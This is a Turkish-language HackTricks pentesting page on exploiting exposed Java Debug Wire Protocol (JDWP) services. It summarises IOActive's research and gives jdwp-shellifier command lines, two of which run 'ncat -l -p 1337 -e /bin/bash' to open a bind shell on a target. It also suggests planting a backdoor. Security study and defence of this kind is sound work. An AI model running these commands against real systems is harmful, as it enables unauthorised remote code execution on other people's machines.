Pentesting JDWP - Java Debug Wire Protocol
Reading time: 4 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Exploiting
JDWP istismarı, protokolün kimlik doğrulama ve şifreleme eksikliğine dayanır. Genellikle port 8000 üzerinde bulunur, ancak diğer portlar da mümkündür. İlk bağlantı, hedef porta "JDWP-Handshake" gönderilerek yapılır. Eğer bir JDWP servisi aktifse, aynı dize ile yanıt verir ve varlığını doğrular. Bu el sıkışma, ağdaki JDWP hizmetlerini tanımlamak için bir parmak izi yöntemi olarak işlev görür.
Süreç tanımlaması açısından, Java süreçlerinde "jdwk" dizesini aramak, aktif bir JDWP oturumunu gösterebilir.
Kullanılan araç jdwp-shellifierdir. Farklı parametrelerle kullanabilirsiniz:
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
--break-on 'java.lang.String.indexOf'
kullanımının istismarı daha istikrarlı hale getirdiğini buldum. Ve eğer bir arka kapı yükleme ve bunu bir komut çalıştırmak yerine yürütme şansınız varsa, istismar daha da istikrarlı olacaktır.
Daha fazla detay
Bu, https://ioactive.com/hacking-java-debug-wire-protocol-or-how/ adresinin bir özetidir. Daha fazla detay için kontrol edin.
- JDWP Genel Bakış:
- Paket tabanlı bir ağ ikili protokoldür, öncelikle senkronizedir.
- Kimlik doğrulama ve şifreleme eksikliği, düşmanca ağlara maruz kaldığında güvenlik açığı oluşturur.
- JDWP El Sıkışması:
- İletişimi başlatmak için basit bir el sıkışma süreci kullanılır. Debugger (istemci) ve Debuggee (sunucu) arasında 14 karakterlik bir ASCII dizesi “JDWP-Handshake” değiştirilir.
- JDWP İletişimi:
- Mesajlar, Uzunluk, Kimlik, Bayrak ve Komut Seti gibi alanlarla basit bir yapıya sahiptir.
- Komut Seti değerleri 0x40 ile 0x80 arasında değişir ve farklı eylem ve olayları temsil eder.
- İstismar:
- JDWP, keyfi sınıfları ve bytecode'u yüklemeye ve çağırmaya izin verir, bu da güvenlik riskleri oluşturur.
- Makale, Java Runtime referanslarını alma, kesme noktaları ayarlama ve yöntemleri çağırma içeren beş adımlı bir istismar sürecini detaylandırmaktadır.
- Gerçek Hayat İstismarı:
- Potansiyel güvenlik duvarı korumalarına rağmen, JDWP hizmetleri keşfedilebilir ve gerçek dünya senaryolarında istismar edilebilir, bu da ShodanHQ ve GitHub gibi platformlarda yapılan aramalarla gösterilmektedir.
- İstismar betiği çeşitli JDK sürümlerine karşı test edilmiştir ve platformdan bağımsızdır, güvenilir Uzaktan Kod Yürütme (RCE) sunmaktadır.
- Güvenlik Etkileri:
- İnternette açık JDWP hizmetlerinin varlığı, düzenli güvenlik incelemeleri yapma, üretimde hata ayıklama işlevlerini devre dışı bırakma ve uygun güvenlik duvarı yapılandırmalarının gerekliliğini vurgular.
Kaynaklar:
- [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/]
- https://github.com/IOActive/jdwp-shellifier
- http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html
- http://www.secdev.org/projects/scapy(no longer active)
- http://www.shodanhq.com/search?q=JDWP-HANDSHAKE
- http://www.hsc-news.com/archives/2013/000109.html (no longer active)
- http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt
- https://github.com/search?q=-Xdebug+-Xrunjdwp&type=Code&ref=searchresults
- http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html
- http://nmap.org/nsedoc/scripts/jdwp-exec.html
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.